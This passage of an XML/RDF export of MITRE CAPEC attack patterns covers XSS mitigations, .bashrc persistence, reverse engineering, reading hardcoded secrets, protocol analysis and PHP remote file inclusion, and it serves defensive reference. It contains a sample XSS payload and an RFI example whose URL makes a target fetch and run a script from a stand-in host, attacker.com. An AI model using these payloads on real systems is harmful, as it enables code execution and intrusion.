xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform input validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform output validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Disable scripting languages such as JavaScript in browser</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Session tokens for specific host</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Privileges are constrained, if a script is loaded, ensure system runs in chroot jail or other limited authority mode</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Ajax applications enable rich functionality for browser based web applications. Applications like Google Maps deliver unprecedented ability to zoom in and out, scroll graphics, and change graphic presentation through Ajax. The security issues that an adversary may exploit in this instance are the relative lack of security features in JavaScript and the various browser's implementation of JavaScript, these security gaps are what XSS and a host of other client side vulnerabilities are based on. While Ajax may not open up new security holes, per se, due to the conversational aspects between client and server of Ajax communication, attacks can be optimized. A single zoom in or zoom out on a graphic in an Ajax application may round trip to the server dozens of times. One of the first steps many adversarys take is frequently footprinting an environment, this can include scanning local addresses like 192.*.*.* IP addresses, checking local directories, files, and settings for known vulnerabilities, and so on.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The XSS script that is embedded in a given IMG tag can be manipulated to probe a different address on every click of the mouse or other motions that the Ajax application is aware of.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In addition the enumerations allow for the adversary to nest sequential logic in the attacks. While Ajax applications do not open up brand new attack vectors, the existing attack vectors are more than adequate to execute attacks, and now these attacks can be optimized to sequentially execute and enumerate host environments.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed. These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.</xhtml:div> + + + + + 284 + + + + + + + + + + + + #indTaxonomyMappingObfuscatedFilesOrInformationEmbeddedPayloads + Obfuscated Files or Information: Embedded Payloads + + + + + + + + + + + + + + 1027.009 + + + + + Obfuscated Files or Information: Embedded Payloads + + + + + + + + + + + + #indTaxonomyMappingEventTriggeredExecutionDotBashProfileAndDotBashrc + Event Triggered Execution:.bash_profile and .bashrc + + + + + + + + + + + + + + 1546.004 + + + + + Event Triggered Execution:.bash_profile and .bashrc + + + + + + + + + + + + #indTaxonomyMappingEventTriggeredExecutionInstallerPackages + Event Triggered Execution: Installer Packages + + + + + + + + + + + + + + 1546.016 + + + + + Event Triggered Execution: Installer Packages + + + + + + + + + + + + #indContentHistoryContentHistory8922 + Content_History_8922 + + + + + + + + + + + + + + + + #indSubmissionSubmission8923 + Submission_8923 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification8928 + Modification_8928 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Prerequisites, Description Summary, References, Related_Attack_Patterns, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification8934 + Modification_8934 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification8940 + Modification_8940 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Examples-Instances, References + + + + + + + + + + + + #indModificationModification8946 + Modification_8946 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Execution_Flow, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification8952 + Modification_8952 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Execution_Flow, Extended_Description + + + + + + + + + + + + #indModificationModification8958 + Modification_8958 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification8964 + Modification_8964 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-190 + Reverse Engineer an Executable to Expose Assumed Hidden Functionality + + + + + + + + + 190 + + + + + Reverse Engineer an Executable to Expose Assumed Hidden Functionality + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker analyzes a binary file or executable for the purpose of discovering the structure, function, and possibly source-code of the file by using a variety of analysis techniques to effectively determine how the software functions and operates. This type of analysis is also referred to as Reverse Code Engineering, as techniques exist for extracting source code from an executable. Several techniques are often employed for this purpose, both black box and white box. The use of computer bus analyzers and packet sniffers allows the binary to be studied at a level of interactions with its computing environment, such as a host OS, inter-process communication, and/or network communication. This type of analysis falls into the 'black box' category because it involves behavioral analysis of the software without reference to source code, object code, or protocol specifications.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern8979 + Related_Attack_Pattern_8979 + + + + + + + + + + + + + + 167 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the target file such that it can be analyzed with the appropriate tools. A range of tools suitable for analyzing an executable or its operations</xhtml:div> + + + + + 912 + + + + + + + + + + + + #indReferenceReference8990 + Reference_8990 + + + + + + + + + REF-51 + + + + + Decompiler + + + + + + + + + + + + #indReferenceReference8991 + Reference_8991 + + + + + + + + + REF-52 + + + + + Debugger + + + + + + + + + + + + #indReferenceReference8992 + Reference_8992 + + + + + + + + + REF-53 + + + + + Disassembler + + + + + + + + + + + + #indNoteNote8995 + Note_8995 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;White box analysis techniques include file or binary analysis, debugging, disassembly, and decompilation, and generally fall into categories referred to as 'static' and 'dynamic' analysis. Static analysis encompasses methods which analyze the binary, or extract its source code or object code without executing the program. Dynamic analysis involves analyzing the program during execution.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Some forms of file analysis tools allow the executable itself to be analyzed, the most basic of which can analyze features of the binary. More sophisticated forms of static analysis analyze the binary file and extract assembly code, and possibly source code representations, from analyzing the structure of the file itself. Dynamic analysis tools execute the binary file and monitor its in memory footprint, revealing its execution flow, memory usage, register values, and machine instructions. This type of analysis is most effective for analyzing the execution of binary files whose content has been obfuscated or encrypted in its native executable form.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Debuggers allow the program's execution to be monitored, and depending upon the debugger's sophistication may show relevant source code for each step in execution, or may display and allow interactions with memory, variables, or values generated by the program during run-time operations. Disassemblers operate in reverse of assemblers, allowing assembly code to be extracted from a program as it executes machine code instructions. Disassemblers allow low-level interactions with the program as it executes, such as manipulating the program's run time operations. Decompilers can be utilized to analyze a binary file and extract source code from the compiled executable. Collectively, the tools and methods described are those commonly applied to a binary executable file and provide means for reverse engineering the file by revealing the hidden functions of its operation or composition.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory9001 + Content_History_9001 + + + + + + + + + + + + + + + + #indSubmissionSubmission9002 + Submission_9002 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification9007 + Modification_9007 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description Summary, Other_Notes, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification9013 + Modification_9013 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated @Name, Notes, Related_Weaknesses + + + + + + + + + + + + #indModificationModification9019 + Modification_9019 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName9025 + Previous_Entry_Name_9025 + + + + + + + + + 2019-04-04 + + + + + Reverse Engineer an Executable to Expose Assumed Hidden Functionality or Content + + + + + + + + + + + + #CAPEC-191 + Read Sensitive Constants Within an Executable + + + + + + + + + 191 + + + + + Read Sensitive Constants Within an Executable + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary engages in activities to discover any sensitive constants present within the compiled code of an executable. These constants may include literal ASCII strings within the file itself, or possibly strings hard-coded into particular routines that can be revealed by code refactoring methods including static and dynamic analysis.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;One specific example of a sensitive string is a hard-coded password. Typical examples of software with hard-coded passwords include server-side executables which may check for a hard-coded password or key during a user's authentication with the server. Hard-coded passwords can also be present in client-side executables which utilize the password or key when connecting to either a remote component, such as a database server, licensing server, or otherwise, or a processes on the same host that expects a key or password. When analyzing an executable the adversary may search for the presence of such strings by analyzing the byte-code of the file itself. Example utilities for revealing strings within a file include 'strings,' 'grep,' or other variants of these programs depending upon the type of operating system used. These programs can be used to dump any ASCII or UNICODE strings contained within a program. Strings can also be searched for using a hex editors by loading the binary or object code file and utilizing native search functions such as regular expressions.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Additionally, sensitive numeric values can occur within an executable. This can be used to discover the location of cryptographic constants.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9040 + Related_Attack_Pattern_9040 + + + + + + + + + + + + + + 167 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to a binary or executable such that it can be analyzed by various utilities.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Binary analysis programs such as 'strings' or 'grep', or hex editors.</xhtml:div> + + + + + 798 + + + + + + + + + + + + #indTaxonomyMappingUnsecuredCredentialsCredentialsInFiles + Unsecured Credentials:Credentials in files + + + + + + + + + + + + + + 1552.001 + + + + + Unsecured Credentials:Credentials in files + + + + + + + + + + + + #indReferenceReference9060 + Reference_9060 + + + + + + + + + REF-51 + + + + + Decompiler + + + + + + + + + + + + #indReferenceReference9061 + Reference_9061 + + + + + + + + + REF-52 + + + + + Debugger + + + + + + + + + + + + #indReferenceReference9062 + Reference_9062 + + + + + + + + + REF-53 + + + + + Disassembler + + + + + + + + + + + + #indNoteNote9065 + Note_9065 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;More sophisticated methods of searching for sensitive strings within a file involve disassembly or decompiling of the file. One could, for example, utilize disassembly methods on an ISAPI executable or dll to discover a hard-coded password within the code as it executes. This type of analysis usually involves four stages in which first a debugger is attached to the running process, anti-debugging countermeasures are circumvented or bypassed, the program is analyzed step-by-step, and breakpoints are established so that discrete functions and data structures can be analyzed.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Debugging tools such as SoftICE, Ollydbg, or vendor supplied debugging tools are often used. Disassembly tools such as IDA pro, or similar tools, can also be employed. A third strategy for accessing sensitive strings within a binary involves the decompilation of the file itself into source code that reveals the strings. An example of this type of analysis involves extracting source code from a java JAR file and then using functionality within a java IDE to search the source code for sensitive, hard-coded information. In performing this analysis native java tools, such as "jar" are used to extract the compiled class files. Next, a java decompiler such as "DJ" is used to extract java source code from the compiled classes, revealing source code. Finally, the source code is audited to reveal sensitive information, a step that is usually assisted by source code analysis programs.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory9070 + Content_History_9070 + + + + + + + + + + + + + + + + #indSubmissionSubmission9071 + Submission_9071 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification9076 + Modification_9076 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description Summary, Other_Notes, References, Related_Attack_Patterns, Resources_Required + + + + + + + + + + + + #indModificationModification9082 + Modification_9082 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Prerequisites, Description Summary, Resources_Required + + + + + + + + + + + + #indModificationModification9088 + Modification_9088 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification9094 + Modification_9094 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Name, Description, Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification9100 + Modification_9100 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName9106 + Previous_Entry_Name_9106 + + + + + + + + + 2020-07-30 + + + + + Read Sensitive Strings Within an Executable + + + + + + + + + + + + #CAPEC-192 + Protocol Analysis + + + + + + + + + 192 + + + + + Protocol Analysis + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in activities to decipher and/or decode protocol information for a network or application communication protocol used for transmitting information between interconnected nodes or systems on a packet-switched data network. While this type of analysis involves the analysis of a networking protocol inherently, it does not require the presence of an actual or physical network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Although certain techniques for protocol analysis benefit from manipulating live 'on-the-wire' interactions between communicating components, static or dynamic analysis techniques applied to executables as well as to device drivers, such as network interface drivers, can also be used to reveal the function and characteristics of a communication protocol implementation. Depending upon the methods used the process may involve observing, interacting, and modifying actual communications occurring between hosts. The goal of protocol analysis is to derive the data transmission syntax, as well as to extract the meaningful content, including packet or content delimiters used by the protocol. This type of analysis is often performed on closed-specification protocols, or proprietary protocols, but is also useful for analyzing publicly available specifications to determine how particular implementations deviate from published specifications.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to a binary executable.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to observe and interact with a communication channel between communicating processes.</xhtml:div> + + + + + + + + + + + + #indSkillSkill9121 + Skill_9121 + + + + + + + + + + + + + + Knowlegde of the Open Systems Interconnection model (OSI model), and famililarity with Wireshark or some other packet analyzer. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Depending on the type of analysis, a variety of tools might be required, such as static code and/or dynamic analysis tools. Alternatively, the effort might require debugging programs such as ollydbg, SoftICE, or disassemblers like IDA Pro. In some instances, packet sniffing or packet analyzing programs such as TCP dump or Wireshark are necessary. Lastly, specific protocol analysis might require tools such as PDB (Protocol Debug), or packet injection tools like pcap or Nemesis.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence9127 + Consequence_9127 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Successful deciphering of protocol information compromises the confidentiality of future sensitive communications.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence9132 + Consequence_9132 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modifying communications after successful deciphering of protocol information compromises integrity.</xhtml:div> + + + + + 326 + + + + + + + + + + + + #indReferenceReference9142 + Reference_9142 + + + + + + + + + REF-57 + + + + + Proprietary protocol + + + + + + + + + + + + #indReferenceReference9143 + Reference_9143 + + + + + + + + + REF-50 + + + + + Reverse engineering + + + + + + + + + + + + #indNoteNote9146 + Note_9146 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;There are several challenges inherent to protocol analysis depending upon the nature of the protocol being analyzed. There may also be other types of factors which complicate the process such as encryption or ad hoc obfuscation of the protocol. In general there are two kinds of networking protocols, each associated with its own challenges and analysis approaches or methodologies. Some protocols are human-readable, which is to say they are text-based protocols. Examples of these types of protocols include HTTP, SMTP, and SOAP. Additionally, application-layer protocols can be embedded or encapsulated within human-readable protocols in the data portion of the packet. Typically, human-readable protocol implementations are susceptible to automatic decoding by the appropriate tools, such as Wireshark/ethereal, tcpdump, or similar protocol sniffers or analyzers.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The presence of well-known protocol specifications in addition to easily identified protocol delimiters, such as Carriage Return or Line Feed characters (CRLF) result in text-based protocols susceptibility to direct scrutiny through manual processes. Protocol analysis against protocol implementations such as HTTP is often performed to identify idiosyncratic implementations of a protocol by a server or client. In the case of application-layer protocols which are embedded within text-based protocols, analysis techniques typically benefit from the well-known nature of the encapsulating protocols and can focus on discovering the semantic characteristics of the proprietary protocol or API, since the syntax and protocol delimiters of the underlying protocols can be readily identified.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When performing protocol analysis of machine-readable (non-text-based) protocols difficulties emerge as the protocol itself was designed to be read by computing process. Such protocols are typically composed entirely in binary with no apparent syntax, grammar, or structural boundaries. Examples of these types of protocols are IP, UDP, and TCP. Binary protocols with published specifications can be automatically decoded by protocol analyzers, but in the case of proprietary, closed-specification, binary protocols there are no immediate indicators of packet syntax such as packet boundaries, delimiters, or structure, or the presence or absence of encryption or obfuscation. In these cases there is no one technology that can extract or reveal the structure of the packet on the wire, so it is necessary to use trial and error approaches while observing application behavior based on systematic mutations introduced at the packet-level. Tools such as Protocol Debug (PDB) or other packet injection suites are often employed. In cases where the binary executable is available, protocol analysis can be augmented with static and dynamic analysis techniques.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory9152 + Content_History_9152 + + + + + + + + + + + + + + + + #indSubmissionSubmission9153 + Submission_9153 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification9158 + Modification_9158 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Activation_Zone, Attacker_Skills_or_Knowledge_Required, Description Summary, Injection_Vector, Other_Notes, Payload, Payload_Activation_Impact, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification9164 + Modification_9164 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification9170 + Modification_9170 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required, Related_Weaknesses + + + + + + + + + + + + #indModificationModification9176 + Modification_9176 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName9182 + Previous_Entry_Name_9182 + + + + + + + + + 2015-11-09 + + + + + Protocol Reverse Engineering + + + + + + + + + + + + #CAPEC-193 + PHP Remote File Inclusion + + + + + + + + + 193 + + + + + PHP Remote File Inclusion + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this pattern the adversary is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized "include" or "require" call, which the user can then control to point to any web-accessible file. This allows adversaries to hijack the targeted application and force it to execute their own instructions.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9190 + Related_Attack_Pattern_9190 + + + + + + + + + + + + + + 253 + + + + + + + + + + + + #indAttackStepAttackStep9193 + Attack_Step_9193 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey application] Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the links they find.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep9201 + Attack_Step_9201 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt variations on input parameters] The attack variants make use of a remotely available PHP script that generates a uniquely identifiable output when executed on the target application server. Possibly using an automated tool, an adversary requests variations on the inputs they surveyed before. They send parameters that include variations of payloads which include a reference to the remote PHP script. They record all the responses from the server that include the output of the execution of remote PHP script.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of probe strings to inject in parameters of known URLs. The probe strings are variants of PHP remote file inclusion payloads which include a reference to the adversary controlled remote PHP script.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of manual input of remote file inclusion probes in known URLs.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep9208 + Attack_Step_9208 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Run arbitrary server-side code] As the adversary succeeds in exploiting the vulnerability, they are able to execute server-side code within the application. The malicious code has virtual access to the same resources as the targeted application. Note that the adversary might include shell code in their script and execute commands on the server under the same privileges as the PHP runtime is running with.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop malicious PHP script that is injected through vectors identified during the Experiment Phase and executed by the application server to execute a custom PHP script.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target application server must allow remote files to be included in the "require", "include", etc. PHP directives</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the ability to make HTTP requests to the target web application.</xhtml:div> + + + + + + + + + + + + #indSkillSkill9220 + Skill_9220 + + + + + + + + + + + + + + To inject the malicious payload in a web page + + + + + + + + + + + + #indSkillSkill9221 + Skill_9221 + + + + + + + + + + + + + + To bypass filters in the application + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence9227 + Consequence_9227 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence9231 + Consequence_9231 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence9235 + Consequence_9235 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence9240 + Consequence_9240 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence9247 + Consequence_9247 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content, including remote and user-generated content</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Only allow known files to be included (allowlist)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Make use of indirect references passed in URL parameters instead of file names</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Ensure that remote scripts cannot be include in the "include" or "require" PHP directives</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;The adversary controls a PHP script on a server "http://attacker.com/rfi.txt"&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;The .txt extension is given so that the script doesn't get executed by the attacker.com server, and it will be downloaded as text. The target application is vulnerable to PHP remote file inclusion as following: include($_GET['filename'] . '.txt')&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;The adversary creates an HTTP request that passes their own script in the include: http://example.com/file.php?filename=http://attacker.com/rfi with the concatenation of the ".txt" prefix, the PHP runtime download the attack's script and the content of the script gets executed in the same context as the rest of the original script.&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + </xhtml:div> + + + + + 98 + + + + + 80 + + + + + + + + + + + + #indReferenceReference9273 + Reference_9273 + + + + + + + + + REF-59 + + + + + WASC-05 - Remote File Inclusion + + + + + + + + + + + + #indReferenceReference9274 + Reference_9274 + + + + + + + + + REF-60 + + + + + + + + + + + + #indReferenceReference9276 + Reference_9276 + + + + + + + + + REF-30 + + + + + OWASP Top 10 2007 A3 – Malicious File Execution + + + + + + + + + + + + #indReferenceReference9277 + Reference_9277 + + + + + + + + + REF-621 + + + + + PHP File Inclusion + + + + 